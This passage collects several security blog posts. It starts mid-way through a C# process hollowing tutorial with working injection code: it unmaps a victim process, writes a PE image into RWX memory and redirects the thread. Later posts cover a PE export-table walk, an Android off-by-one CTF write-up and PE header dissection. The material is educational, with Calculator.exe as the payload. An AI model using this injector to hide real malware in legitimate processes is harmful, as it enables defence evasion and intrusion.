  SIZE_T  *lpNumberOfBytesRead
);

ReadProcessMemory Parameters

hProcess

A handle to the process with memory that is being read.

Just like how we got the Thread Handle previously from the PROCESS_INFORMATION structure, we can also obtain the Process Handle in a similar fashion.

IntPtr victimProcessHandle = processInformation.hProcess;

lpBaseAddress

A pointer to the base address in the specified process from which to read.

We want to start reading from victimImageBaseAddress.

lpBuffer

A pointer to a buffer that receives the contents from the address space of the specified process.

Let's create 8 bytes of unamanaged memory to store the ImageBase.

IntPtr victimImageBase = Marshal.AllocHGlobal(8);

Then we can perform the read,

PInvoke.ReadProcessMemory(victimProcessHandle, victimImageBaseAddress, victimImageBase, 8, out _);

nSize

The number of bytes to be read from the specified process.

For 32-bit applications, the ImageBase is 4 bytes whereas for 64-bit, its 8 bytes.

We will be reading 8 bytes as this injector is build to support for 64-bit applications.

lpNumberOfBytesRead

A pointer to a variable that receives the number of bytes transferred into the specified buffer.

For simplicity, I will be ignoring this field by using C#'s discard variable, _.

Code Example

ulong rdx = victimThreadContext.Rdx;
ulong victimImageBaseAddress = rdx + 16;
IntPtr victimProcessHandle = processInformation.hProcess;
IntPtr victimImageBase = Marshal.AllocHGlobal(8);
PInvoke.ReadProcessMemory(victimProcessHandle, victimImageBaseAddress, victimImageBase, 8, out _);

Hollowing our Victim Process

Great! Now we have the victim's ImageBase. We are going to hollow out the victim's memory starting from its ImageBase.

We will be using the function ZwUnmapViewOfSection.

More details of it can be found here.

NTSYSAPI NTSTATUS ZwUnmapViewOfSection(
  HANDLE ProcessHandle,
  PVOID  BaseAddress
);

ZwUnmapViewOfSection Parameters

ProcessHandle

Previously, we called the CreateProcessA function. This function helps fill up our PROCESS_INFORMATION block.

PROCESS_INFORMATION contains the handle to our victim process.

Thus we can get the process handle from it using

IntPtr processHandle = processInformation.hProcess;

BaseAddress

We have already retrieved the ImageBase previously. We will be hollowing out the entire victim image, thus we start from its ImageBase.

Code Example

if (PInvoke.ZwUnmapViewOfSection(victimProcessHandle, victimImageBase) == PInvoke.NTSTATUS.STATUS_ACCESS_DENIED)
{
    Console.WriteLine("Failed to unmap section...");
    return;
}

Allocating Space for Our Malware Image

In order to make it easier for us to map the malware image, in our case, 'Calculator.exe', we are going allocate space to rebase the memory in terms of its own ImageBase and Size.

We are going to use the VirtualAllocEx function. More details of it can be found here.

LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

VirtualAllocEx Parameters

hProcess

The handle to the process.

We have already obtained the handle to the process previously.

lpAddress

The pointer that specifies a desired starting address for the region of pages that you want to allocate.

We want to start allocating from the ImageBase of the malware address so that everything fits perfectly.

So now we need to find its ImageBase and Size by looking into the internals of the PE File.

As we can see from the image above, we need to get to the COFF Header.

How do we get to the COFF Header?

At the DOS_HEADER, we have a 4 byte integer variable called E_LFANEW. This is located at an offset 0x3C from the start of the file.

E_LFANEW contains the offset to get to the COFF Header.

Thus to get E_LFANEW,

int virusElfanew = Marshal.ReadInt32(virusFilePointer, PInvoke.Offsets.E_LFANEW); // PInvoke.Offsets.E_LFANEW refers to 0x3C

Once we get to the COFF Header using the E_LFANEW, we can see from the image above that the ImageBase is at 0x34 offset away and 4 bytes long. However, this is for 32-bit applications. For 64-bit applicaations, there are at a offset 0x30 away and are 8 bytes long.

Hence to get the ImageBase,

long virusImageBase = Marshal.ReadInt64(virusFilePointer, virusElfanew + 0x30);

dwSize

The size of the region of memory to allocate, in bytes.

From the image above, we can see that the SizeOfImage is 0x50 bytes away from the COFF header.

Hence we can obtain the SizeOfImage by

uint sizeOfVirusImage = (uint)Marshal.ReadInt32(virusFilePointer, virusElfanew + 0x50);

flAllocationType

The type of memory allocation.

We will be using MEM_COMMIT, MEM_RESERVE.

flProtect

The memory protection for the region of pages to be allocated.

We will be using PAGE_EXECUTE_READWRITE

Code Example

int virusElfanew = Marshal.ReadInt32(virusFilePointer, PInvoke.Offsets.E_LFANEW);
long virusImageBase = Marshal.ReadInt64(virusFilePointer, virusElfanew + 0x30);
uint sizeOfVirusImage = (uint)Marshal.ReadInt32(virusFilePointer, virusElfanew + 0x50);
IntPtr allocatedNewRegionForVirus =  PInvoke.VirtualAllocEx(victimProcessHandle, (IntPtr)virusImageBase, sizeOfVirusImage, PInvoke.AllocationType.Reserve | PInvoke.AllocationType.Commit, PInvoke.MemoryProtection.ExecuteReadWrite);

Rewriting PE Headers

Now that we have allocated space for the malware, we are going to first copy the headers.

We are going to use the WriteProcessMemory function. More details of it can be found here.

BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);

WriteProcessMemory Parameters

hProcess

A handle to the process memory to be modified.

This will be our victimProcessHandle that we obtained earlier.

lpBaseAddress

A pointer to the base address in the specified process to which data is written.

This will be the allocatedNewRegionForVirus which we obtained from VirtualAllocEx.

lpBuffer

A pointer to the buffer that contains data to be written in the address space of the specified process.

This will be our pointer to the malware image, in our case, Calculator.exe.

nSize

The number of bytes to be written to the specified process.

We need to get the size of the headers from the PE file. It is at an offset 0x54 from the start of the PE Header.

uint sizeOfVirusHeaders = (uint)Marshal.ReadInt32(virusFilePointer, virusElfanew + 0x54);

lpNumberOfBytesWritten

For simplicity, I will be ignoring this field by using C#'s discard variable, _.

Code Example

 uint sizeOfVirusHeaders = (uint)Marshal.ReadInt32(virusFilePointer, virusElfanew + 0x54);
 if (!PInvoke.WriteProcessMemory(victimProcessHandle, allocatedNewRegionForVirus, virusFilePointer, sizeOfVirusHeaders, out _))
 {
     Console.WriteLine("Writing headers failed...");
     return;
 };

Writing the Sections

In order to locate and write the sections, we need 3 important information. The NumberOfSections, SizeOfOptionalHeaders and the SizeOfImageSectionHeader.

From the image above, we can obtain the NumberOfSections and SizeOfOptionalHeaders by

int numberOfSections = Marshal.ReadInt16(virusFilePointer, virusElfanew + 0x6);
int sizeOfOptionalHeader = Marshal.ReadInt16(virusFilePointer + virusElfanew + 0x10 + 0x04);

Then I got the IMAGE_SECTION_HEADER definition from PINVOKE.NET.

[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_SECTION_HEADER
{
    [FieldOffset(0)]
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
    public char[] Name;

    [FieldOffset(8)]
    public UInt32 VirtualSize;

    [FieldOffset(12)]
    public UInt32 VirtualAddress;

    [FieldOffset(16)]
    public UInt32 SizeOfRawData;

    [FieldOffset(20)]
    public UInt32 PointerToRawData;

    [FieldOffset(24)]
    public UInt32 PointerToRelocations;

    [FieldOffset(28)]
    public UInt32 PointerToLinenumbers;

    [FieldOffset(32)]
    public UInt16 NumberOfRelocations;

    [FieldOffset(34)]
    public UInt16 NumberOfLinenumbers;

    [FieldOffset(36)]
    public DataSectionFlags Characteristics;

    public string Section
    {
        get { return new string(Name); }
    }
}

With that, we can get the size of a Section.

int sizeOfImageSectionHeader = Marshal.SizeOf<PInvoke.IMAGE_SECTION_HEADER>();

We can now loop through all the sections and map them.

 int numberOfSections = Marshal.ReadInt16(virusFilePointer, virusElfanew + 0x6);
 int sizeOfOptionalHeader = Marshal.ReadInt16(virusFilePointer + virusElfanew + 0x10 + 0x04);
 int sizeOfImageSectionHeader = Marshal.SizeOf<PInvoke.IMAGE_SECTION_HEADER>();
 for (int i = 0; i < numberOfSections; i++)
 {
     IntPtr sectionHeaderPointer = virusFilePointer + virusElfanew + 0x18 + sizeOfOptionalHeader + (i * sizeOfImageSectionHeader);
     PInvoke.IMAGE_SECTION_HEADER sectionHeader = Marshal.PtrToStructure<PInvoke.IMAGE_SECTION_HEADER>(sectionHeaderPointer);

     uint virtualAddress = sectionHeader.VirtualAddress;
     uint sizeOfRawData = sectionHeader.SizeOfRawData;
     uint pointerToRawData = sectionHeader.PointerToRawData;

     byte[] bRawData = new byte[sizeOfRawData];
     Buffer.BlockCopy(virusFileBytes, (int)pointerToRawData, bRawData, 0, bRawData.Length);

     PInvoke.WriteProcessMemory(victimProcessHandle, (IntPtr)(virusImageBase + virtualAddress), Marshal.UnsafeAddrOfPinnedArrayElement(bRawData, 0), (uint)bRawData.Length, out _);

 }

Update our ThreadContext and Resume

We need to update our ThreadContext's ImageBase and EntryPoint.


 byte[] bImageBase = BitConverter.GetBytes((long)virusImageBase);
 if (!PInvoke.WriteProcessMemory(victimProcessHandle, (IntPtr)victimImageBaseAddress, bImageBase, 0x8, out _))
 {
     Console.WriteLine("Rewriting image base failed...");
     return;
 }

 int virusEntryPointRVA = Marshal.ReadInt32(virusFilePointer, virusElfanew + 0x28);
 victimThreadContext.Rcx = (ulong)allocatedNewRegionForVirus +  (ulong)virusEntryPointRVA;
 Marshal.StructureToPtr(victimThreadContext, pVictimThreadContext, true);

 PInvoke.SetThreadContext(victimThreadHandle, pVictimThreadContext);

Resume Thread

Finally, we resume the thread.

PInvoke.ResumeThread(victimThreadHandle);

Process Hollowing Complete.

Exploring the Export Table [Windows PE Internals]

wireless90 — Wed, 26 May 2021 11:37:04 +0000

Previous Windows PE Internals Writeups

Previously

In the previous article, we learnt about the contents of the PE Header.

Let's now take a look at the Optional Header, more particularly, the Export Table.

Let's Begin

An export table contains functions that have been exported and could be used by other programs. We will be focusing on the exported functions of the library user32.dll.

In the previous article, we managed to retrieve the IMAGE_NT_HEADERS.

We can see that this structure contains the FileHeader, OptionalHeader and Signature.

We are interested in the OptionalHeader.



PIMAGE_OPTIONAL_HEADER imageOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&imageNtHeaders->OptionalHeader;

If we take a look at the PE File Format,

we can see that the OptionalHeader consist of a segment called DataDirectories. We want to get the ExportTable Data Directory.

There is a DataDirectory array in the OptionalHeader. We can then obtain by using the Export Table Index Macro called IMAGE_DIRECTORY_ENTRY_EXPORT defined inside winnt.h.

Thus to get the export table directory, we would do



PIMAGE_DATA_DIRECTORY imageExportDataDirectory = &(imageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);

Our Export Data Directory contains,

just as seen from

The field VirtualAddress is relative to the PE Base address.

As we learnt from the previous article, the Relative Virtual Address(RVA) has to be added to the pe base address to get to the actual structure.

In order to obtain the Export Directory structure, we would thus do,



PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((unsigned char*)peBase + imageExportDataDirectory->VirtualAddress);

Now what we are interested is in the ExportAddressTable, NameOrdinalsArray and NameAddressArray.

They can be retrived via



DWORD numberOfNames = imageExportDirectory->NumberOfNames;
PDWORD exportAddressTable = (PDWORD)((unsigned char*)peBase + imageExportDirectory->AddressOfFunctions);
PWORD nameOrdinalsPointer = (PWORD)((unsigned char*)peBase + imageExportDirectory->AddressOfNameOrdinals);
PDWORD exportNamePointerTable = (PDWORD)((unsigned char*)peBase + imageExportDirectory->AddressOfNames);

Now how do we work with these? This can be pretty confusing.
Our objective for this article, is to find the pointer to the MessageBoxA function through the export address table, and invoke it.

Since we know the numberOfNames Let's first create a loop.



int nameIndex = 0;
for (nameIndex = 0; nameIndex < numberOfNames; nameIndex++)
{
}

The exportNamePointerTable above contains an array of RVAs to function names.

We can get the name of through the RVA from the exportNamePointerTable.



int nameIndex = 0;
for (nameIndex = 0; nameIndex < numberOfNames; nameIndex++)
{
        char* name = (char*)((unsigned char*)peBase + exportNamePointerTable[nameIndex]);
}

We can check if it is the function that we want.



int nameIndex = 0;
for (nameIndex = 0; nameIndex < numberOfNames; nameIndex++)
{
     char* name = (char*)((unsigned char*)peBase + exportNamePointerTable[nameIndex]);
     if (strcmp("MessageBoxA", name) == 0)
     {
     }
}

Now for the tricky part, the we need to get the correct index to get the address of the function from our exportAddressTable. The index is called, an ordinal. This ordinal is retrieved by using the nameIndex as an index to the nameOrdinalsPointer above.



int nameIndex = 0;
for (nameIndex = 0; nameIndex < numberOfNames; nameIndex++)
{
     char* name = (char*)((unsigned char*)peBase + exportNamePointerTable[nameIndex]);
     if (strcmp("MessageBoxA", name) == 0)
     {
            WORD ordinal = nameOrdinalsPointer[nameIndex];
            PDWORD targetFunctionAddress = (PDWORD)((unsigned char*)peBase + exportAddressTable[ordinal]);
     }
}

Next, we can create a function pointer that follows the signature of the function that we want to invoke.



int nameIndex = 0;
for (nameIndex = 0; nameIndex < numberOfNames; nameIndex++)
{
     char* name = (char*)((unsigned char*)peBase + exportNamePointerTable[nameIndex]);
     if (strcmp("MessageBoxA", name) == 0)
     {
            WORD ordinal = nameOrdinalsPointer[nameIndex];
            PDWORD targetFunctionAddress = (PDWORD)((unsigned char*)peBase + exportAddressTable[ordinal]);

            typedef int (WINAPI* MyFunction)(HWND, LPCSTR, LPCSTR, UINT);
            MyFunction myFunction = (MyFunction)targetFunctionAddress;
            (*myFunction)(0, "asd", 0, 0);
     }
}

The overall code looks like,



#include <Windows.h>

int  WinMain(
    HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR     lpCmdLine,
    int       nCmdShow
)
{
    HMODULE peBase = GetModuleHandleA("user32.dll");

    if (peBase == NULL)
    {
        MessageBoxA(0, "Can't load user32.dll", "Error", MB_OK | MB_ICONERROR);
        return 1;
    }

    PIMAGE_DOS_HEADER imageDosHeader = (PIMAGE_DOS_HEADER)peBase;

    if (imageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    {
        MessageBoxA(0, "user32.dll has the wrong Image Dos Signature!", "Error", MB_OK | MB_ICONERROR);
        return 1;
    }

    PIMAGE_NT_HEADERS imageNtHeaders = (PIMAGE_NT_HEADERS)((unsigned char*)imageDosHeader + imageDosHeader->e_lfanew);


    if (imageNtHeaders->Signature != IMAGE_NT_SIGNATURE)
    {
        MessageBoxA(0, "user32.dll has the wrong PE Signature!", "Error", MB_OK | MB_ICONERROR);
        return 1;
    }

    PIMAGE_OPTIONAL_HEADER imageOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&imageNtHeaders->OptionalHeader;

    PIMAGE_DATA_DIRECTORY imageExportDataDirectory = &(imageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);

    PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((unsigned char*)peBase + imageExportDataDirectory->VirtualAddress);

    DWORD numberOfNames = imageExportDirectory->NumberOfNames;

    PDWORD exportAddressTable = (PDWORD)((unsigned char*)peBase + imageExportDirectory->AddressOfFunctions);
    PWORD nameOrdinalsPointer = (PWORD)((unsigned char*)peBase + imageExportDirectory->AddressOfNameOrdinals);
    PDWORD exportNamePointerTable = (PDWORD)((unsigned char*)peBase + imageExportDirectory->AddressOfNames);

    char buffer[1024 * 20] = { 0 };
    int nameIndex = 0;
    for (nameIndex = 0; nameIndex < numberOfNames; nameIndex++)
    {
        char* name = (char*)((unsigned char*)peBase + exportNamePointerTable[nameIndex]);
        if (strcmp("MessageBoxA", name) == 0)
        {
            WORD ordinal = nameOrdinalsPointer[nameIndex];
            PDWORD targetFunctionAddress = (PDWORD)((unsigned char*)peBase + exportAddressTable[ordinal]);

            typedef int (WINAPI* MyFunction)(HWND, LPCSTR, LPCSTR, UINT);
            MyFunction myFunction = (MyFunction)targetFunctionAddress;
            (*myFunction)(0, "asd", 0, 0);
        }
    }

    return 0;
}

Off by One [Android Internals CTF Ex8]

wireless90 — Mon, 26 Apr 2021 16:00:34 +0000

Get the executable here

Instructions

Give the program the correct argument so it will print the flag.
Do not reverse the decrypt function or modify the program.

Let's Begin

Let's take a look what type of file it is.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/offByOne]
└─$ file a.out
a.out: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, with debug_info, not stripped

It is an arm file, so let's push it to our android device.

──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/offByOne]
└─$ adb push a.out /data/local/tmp
* daemon not running; starting now at tcp:5037
* daemon started successfully
a.out: 1 file pushed. 0.2 MB/s (3392956 bytes in 13.310s)

Next, try to run it in our android device.

126|root@hammerhead:/data/local/tmp # chmod +x a.out
root@hammerhead:/data/local/tmp # ./a.out
usage: ./a.out <argument>

It requires an argument. I proceeded to give it a short and a long argument.

root@hammerhead:/data/local/tmp # ./a.out aaaa
You failed :(
root@hammerhead:/data/local/tmp # /a.out aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa                             
You failed :(

Both resulted in a failure.

Next, let's proceed to perform our static analysis using IDA.

It seems like a very small program. So let's begin reversing from the start.

When performing static analysis, it is best to put lots of comments for each block of code.

I will be showing both IDA view and nasm markdown view as it might be more clearer.

Let's look at the beginning of the main function.

; int __cdecl main(int argc, const char **argv, const char **envp)
EXPORT main
main

var_124= -0x124
var_120= -0x120
var_11C= -0x11C
var_115= -0x115
var_15= -0x15
var_14= -0x14
var_10= -0x10
var_C= -0xC

PUSH            {R4,R5,R11,LR}
ADD             R11, SP, #8
SUB             SP, SP, #0x120
MOV             R2, #0
STR             R2, [R11,#var_C]
STR             R0, [R11,#var_10]
STR             R1, [R11,#var_14]
LDR             R0, [R11,#var_10]
CMP             R0, #2
BGE             loc_857C

We know that,
R0 - represents argc
R1 - represents argv
R2 - represents envp

Hence, lets rename our variables and add comments. The above block of code now looks like,

; Attributes: bp-based frame

; int __cdecl main(int argc, const char **argv, const char **envp)
EXPORT main
main

var_124= -0x124
var_120= -0x120
var_11C= -0x11C
var_115= -0x115
var_15= -0x15
argv= -0x14
argc= -0x10
envp= -0xC

PUSH            {R4,R5,R11,LR}
ADD             R11, SP, #8
SUB             SP, SP, #0x120
MOV             R2, #0
STR             R2, [R11,#envp]
STR             R0, [R11,#argc]
STR             R1, [R11,#argv]
LDR             R0, [R11,#argc]
CMP             R0, #2  ; Checking if argc is >=2
BGE             loc_857C

Since it branches based on whether we put in arguments, in our case, we are supplying 1 argument, which makes the argc count 2. Hence the program branches to the right.

Lets take a look at the block on the right.

loc_857C
LDR             R0, =(byte_6325B - 0x8588)
ADD             R0, PC, R0 ; byte_6325B
LDRB            R0, [R0]
STRB            R0, [R11,#var_15]
LDR             R0, [R11,#argv]
LDR             R0, [R0,#4] ; s
BL              strlen
CMP             R0, #0x100
BLS             loc_85BC

Reversing it produces,

This code executes when there are atleast 1 cmd line argument

loc_857C
LDR             R0, =(byte_6325B - 0x8588)
ADD             R0, PC, R0 ; byte_6325B
LDRB            R0, [R0]
STRB            R0, [R11,#var_15]
LDR             R0, [R11,#argv] ;
                        ; The below line gets the first argument
LDR             R0, [R0,#4] ; s
BL              strlen  ; gets the first argument and performs a strlen on it
CMP             R0, #0x100 ; Length of the first argument is compared against 256
BLS             loc_85BC ; Branch to the right if LOWER OR SAME than 256

Looking at the code on the left block, it says Length higher than 256 is not allowed. What if the length is 256? We need to test the edge cases.

Let's now take a look at the block on the right.

loc_85BC
ADD             R0, SP, #0x128+var_115
LDR             R1, [R11,#argv]
LDR             R1, [R1,#4]
BL              strcpy
LDRB            R1, [R11,#var_15]
CMP             R1, #0
BNE             loc_8604

Reversing it gives,

Copies the first argument to the destination buffer

loc_85BC                ; dest to strcpy
ADD             R0, SP, #0x128+destBuffer
LDR             R1, [R11,#argv]
LDR             R1, [R1,#4] ; LOAD THE FIRST ARGUMENT as src to strcpy
BL              strcpy
LDRB            R1, [R11,#var_15]
CMP             R1, #0
BNE             loc_8604 ; if R1 is zero, we will get the flag!

We can see that if R1 is Not Equal to 0, we will fail to the right. Hence R1 has to be 0 in order for us to get the flag.

R1 gets its value from the stack variable var_15.
var_15 gets its value from the previous block, from a readonly memory location named =(byte_6325B - 0x8588).

Let's hover our mouse over it to see what the .rodata contains.

It simply contains the number, 1.

Hence, we know that var_15 will contains the number 1 but we somehow need to make it become 0 in order for us to get the flag.

Lets take a look at the stack location of the variable, right at the start of main.

The code we looked at allows a max of 256 bytes to be written and the 2 variables are exactly 256 bytes from each other. Hence we need at least 257 characters to override into var_15. Moreover, the character that overrides var_15 has to be 0 in order for us to get the flag.

The flaw here relies on strcpy. If we were to pass 256 characters, strcpy copies all 256 characters into the buffer and it also adds a NULL, \0, into the next position, the 257th position, to terminate the string. This 257th position happens to be our var_15.

Hence from our host machine, we can use python to quickly generate a string of length 256.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/offByOne]
└─$ python -c 'print "a"*256'                            
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Then we can copy this string to our android.

root@hammerhead:/data/local/tmp # ./a.out aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

You did it!
The flag is: "off_by_one"

And we got the flag.

Dissecting the PE Header [Windows PE Internals]

wireless90 — Sat, 24 Apr 2021 05:37:00 +0000

Previous Windows PE Internals Writeups

Previously

In the previous article, we learnt about how do we validate the PE Signature, also commonly referred to as the File Signature, which tells us that the file is very likely, a Portable Executable (PE) file.

This signature is PE\0\0 (the letters "P" and "E" followed by two null bytes).

We have also seen how to navigate our way from the IMAGE_DOS_HEADER into the IMAGE_NT_HEADER

We also saw that the IMAGE_NT_HEADER comprises of 3 parts.

PE Signature
PE Header
Optional Header

We will be dissecting the PE Header in this article.

Let's Begin

Following the PE Signature, we have the PE Header.

As the PE Header is one of the subsection of the IMAGE_NT_HEADER, we can easily retrieve as such.

PIMAGE_FILE_HEADER imageFileHeader = &imageNtHeaders->FileHeader;

Taking a deeper look into the PE Header, we have the following sections.

In visual studio, we can see the matching fields as well.

Let's write some code to visualize these information

wsprintfA(c + strlen(c), "Number of Symbols: %d\n", imageFileHeader->NumberOfSymbols);
wsprintfA(c + strlen(c), "Pointer to Symbol Table: 0x%02X\n", imageFileHeader->PointerToSymbolTable);
wsprintfA(c + strlen(c), "Number of Sections: %hd\n", imageFileHeader->NumberOfSections);
wsprintfA(c + strlen(c), "TimeDateStamp: %d\n", imageFileHeader->TimeDateStamp);
wsprintfA(c + strlen(c), "Size of Optional Header: %hd\n", imageFileHeader->SizeOfOptionalHeader);
wsprintfA(c + strlen(c), "Machine: 0x%02X\n", imageFileHeader->Machine);
wsprintfA(c + strlen(c), "Characteristix: 0x%02X\n", imageFileHeader->Characteristics);

MessageBoxA(0, c, "PE Header", MB_OK | MB_ICONINFORMATION);

And the result is,

Number of Symbols

This is deprecated and should contain 0.

Pointer to symbol table

This is also deprecated and should contain 0.

Number of sections

Sections will be covered in another article. This field basically stores the number of sections.

TimeDateStamp

The number of seconds that has passed from epoch since the file creation.

Size of Optional Headers

The Optional Header comes after the PE Header. We will discuss it in other articles.

Machine

The number that identifies the type of target machine that this executable was compiled for.

Looking into winnt.h,

#define IMAGE_FILE_MACHINE_I386              0x014c  // Intel 386.
// omitted
#define IMAGE_FILE_MACHINE_AMD64             0x8664  // AMD64 (K8)

Visual studio always runs in a 32bit emulator while debugging even though I am using a 64 bit machine. Thus it shows as 0x014c which is a 32 bit executable.

Characteristics

We can use tools like CFF Explorer to understand this.

As expected, all of these macros can be found in winnt.h.

#define IMAGE_FILE_RELOCS_STRIPPED           0x0001  // Relocation info stripped from file.
#define IMAGE_FILE_EXECUTABLE_IMAGE          0x0002  // File is executable  (i.e. no unresolved external references).
#define IMAGE_FILE_LINE_NUMS_STRIPPED        0x0004  // Line nunbers stripped from file.
#define IMAGE_FILE_LOCAL_SYMS_STRIPPED       0x0008  // Local symbols stripped from file.
#define IMAGE_FILE_AGGRESIVE_WS_TRIM         0x0010  // Aggressively trim working set
#define IMAGE_FILE_LARGE_ADDRESS_AWARE       0x0020  // App can handle >2gb addresses
#define IMAGE_FILE_BYTES_REVERSED_LO         0x0080  // Bytes of machine word are reversed.
#define IMAGE_FILE_32BIT_MACHINE             0x0100  // 32 bit word machine.
#define IMAGE_FILE_DEBUG_STRIPPED            0x0200  // Debugging info stripped from file in .DBG file
#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP   0x0400  // If Image is on removable media, copy and run from the swap file.
#define IMAGE_FILE_NET_RUN_FROM_SWAP         0x0800  // If Image is on Net, copy and run from the swap file.
#define IMAGE_FILE_SYSTEM                    0x1000  // System File.
#define IMAGE_FILE_DLL                       0x2000  // File is a DLL.
#define IMAGE_FILE_UP_SYSTEM_ONLY            0x4000  // File should only be run on a UP machine
#define IMAGE_FILE_BYTES_REVERSED_HI         0x8000  // Bytes of machine word are reversed.

The overall code would look like,

#include <Windows.h>

int  WinMain(
    HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR     lpCmdLine,
    int       nCmdShow
)
{
    HMODULE peBase = GetModuleHandleA("user32.dll");

    if (peBase == NULL)
    {
        MessageBoxA(0, "Can't load user32.dll", "Error", MB_OK | MB_ICONERROR);
        return 1;
    }

    PIMAGE_DOS_HEADER imageDosHeader = (PIMAGE_DOS_HEADER)peBase;

    if (imageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    {
        MessageBoxA(0, "user32.dll has the wrong Image Dos Signature!", "Error", MB_OK | MB_ICONERROR);
        return 1;
    }

    PIMAGE_NT_HEADERS imageNtHeaders = (PIMAGE_NT_HEADERS)((unsigned char*)imageDosHeader + imageDosHeader->e_lfanew);

    if (imageNtHeaders->Signature != IMAGE_NT_SIGNATURE)
    {
        MessageBoxA(0, "user32.dll has the wrong PE Signature!", "Error", MB_OK | MB_ICONERROR);
        return 1;
    }

    PIMAGE_FILE_HEADER imageFileHeader = &imageNtHeaders->FileHeader;

    char buffer[1024 * 20] = { 0 };

    wsprintfA(buffer + strlen(buffer), "Number of Symbols: %d\n", imageFileHeader->NumberOfSymbols);
    wsprintfA(buffer + strlen(buffer), "Pointer to Symbol Table: 0x%02X\n", imageFileHeader->PointerToSymbolTable);
    wsprintfA(buffer + strlen(buffer), "Number of Sections: %hd\n", imageFileHeader->NumberOfSections);
    wsprintfA(buffer + strlen(buffer), "TimeDateStamp: %d\n", imageFileHeader->TimeDateStamp);
    wsprintfA(buffer + strlen(buffer), "Size of Optional Header: %hd\n", imageFileHeader->SizeOfOptionalHeader);
    wsprintfA(buffer + strlen(buffer), "Machine: 0x%02X\n", imageFileHeader->Machine);
    wsprintfA(buffer + strlen(buffer), "Characteristix: 0x%02X\n", imageFileHeader->Characteristics);

    MessageBoxA(0, buffer, "PE Header", MB_OK | MB_ICONINFORMATION);

    return 0;
}

In this article, we have understood the meaning behind each field in the PE Header.

Exploring the Export Table

Validating the PE Signature (My AV Flagged me) [Windows PE Internals]

wireless90 — Fri, 23 Apr 2021 13:47:19 +0000

Previous Windows PE Internals Writeups

Previously

Previously, we learnt about how do we validate the MZ signature, which tells us that the file is very likely, a Portable Executable (PE) file. or a MS DOS Executable.

Let's Begin

Now, lets proceed to navigate to another structure within the PE called the NT_HEADERS aka PE HEADERS.

The NT_HEADERS consist of 3 main subsections.

NT Signature aka PE Signature
File Header aka PE Header
Optional Header

Today we will validate the NT Signature.

Continuing with our previous article, let's relook at the PE image above and the definition of the IMAGE_DOS_HEADER.

typedef struct _IMAGE_DOS_HEADER
{
     WORD e_magic;
     WORD e_cblp;
     WORD e_cp;
     WORD e_crlc;
     WORD e_cparhdr;
     WORD e_minalloc;
     WORD e_maxalloc;
     WORD e_ss;
     WORD e_sp;
     WORD e_csum;
     WORD e_ip;
     WORD e_cs;
     WORD e_lfarlc;
     WORD e_ovno;
     WORD e_res[4];
     WORD e_oemid;
     WORD e_oeminfo;
     WORD e_res2[10];
     LONG e_lfanew;     //Use this to jump to PIMAGE_NT_HEADER
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

We can see that there is a property e_lfanew. It contains a Relative Virtual Address (RVA) whose offset leads us to the PIMAGE_NT_HEADER.

e_lfanew simply means the long file address of the new executable header , kinda saying the IMAGE_DOS_HEADER is old as its for MS-DOS.

An RVA is basically an offset(in bytes) from the Base Address. Meaning you would only compute the destination address by taking the Base Address, which is our start of PE Address, and add it to the RVA to get the destination address.

Let's now compute our PIMAGE_NT_HEADER by adding PIMAGE_DOS_HEADER to the RVA in e_lfanew.

The code below shows how to do that.

PIMAGE_NT_HEADERS imageNtHeaders = (PIMAGE_NT_HEADERS)((unsigned char*)imageDosHeader + imageDosHeader->e_lfanew);

Let's break it down.

(unsigned char*)imageDosHeader

As imageDosHeader is of a type pointer to IMAGE_DOS_HEADER, we cant do pointer arithmetic byte-wise. Meaning we want to shift the pointer byte by byte as the RVA is the offset in bytes.

Hence we casted it to a (unsigned char*) which allows the pointer to move byte by byte as a char is 1 byte.

(unsigned char*)imageDosHeader + imageDosHeader->e_lfanew

Next we moved the pointer by imageDosHeader->e_lfanew number of bytes.

PIMAGE_NT_HEADERS imageNtHeaders = (PIMAGE_NT_HEADERS)((unsigned char*)imageDosHeader + imageDosHeader->e_lfanew);

Then we re-casted it back to PIMAGE_NT_HEADERS which is basically a macro for pointer to IMAGE_NT_HEADERS aka IMAGE_NT_HEADERS*.

